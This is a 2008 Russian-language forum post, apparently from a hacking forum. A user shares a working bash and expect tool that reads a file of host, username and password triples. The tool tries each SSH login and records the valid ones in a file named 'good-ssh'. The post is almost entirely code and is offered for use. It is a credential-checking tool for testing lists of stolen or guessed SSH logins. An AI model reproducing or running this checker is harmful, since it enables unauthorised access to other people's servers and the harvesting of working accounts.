
04.03.2008, 18:31
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме: 1777536
Репутация:
932
|
|
Вот, держи: expect + bash
ssh.sh - сам чекер. В качаестве параметра даётся файл с содержанием localhost root pass ...
Валидные акки идут в файл good-ssh
Код:
#!/bin/bash
if [ $# > 0 ]; then
file=`cat $1`
t=0
for i in ${file[@]/\r\n//}
do
case $t in
0) host=$i ;;
1) user=$i ;;
*) pass=$i
t=0
expect ./ssh.exp $host $user $pass > /dev/null
if [ $? = 1 ]; then
echo "$host $user $pass" >> good-ssh
fi
esac
let "t+=1"
done
else
echo "Use: $0 file"
fi
ssh.exp - работа с ssh на expect . Положить рядом с ssh.sh
Код:
#!/usr/bin/expect
proc auth {1 2 3} {
global result
spawn ssh "$2@$1"
expect {
"Password:" { send "$3\r" }
timeout {
set result 0
return 0
}
"known" {
set result 0
return 0
}
"yes" { send "yes\r" }
}
expect {
"Password:" {
set result 0
return 0
}
"denied" {
set result 0
return 0
}
-ex "$" {
send "quit\r"
set result 1
return 1
}
-ex "#" {
send "quit\r"
set result 1
return 1
}
timeout {
set result 0
return 0
}
}
}
set i 1
foreach arg $argv {
if { $i == 1 } { set host $arg }
if { $i == 2 } { set login $arg }
if { $i == 3 } { set pass $arg }
incr i
}
auth $host $login $pass
exit $result
Последний раз редактировалось Ky3bMu4; 05.03.2008 в 11:35..
|
|
|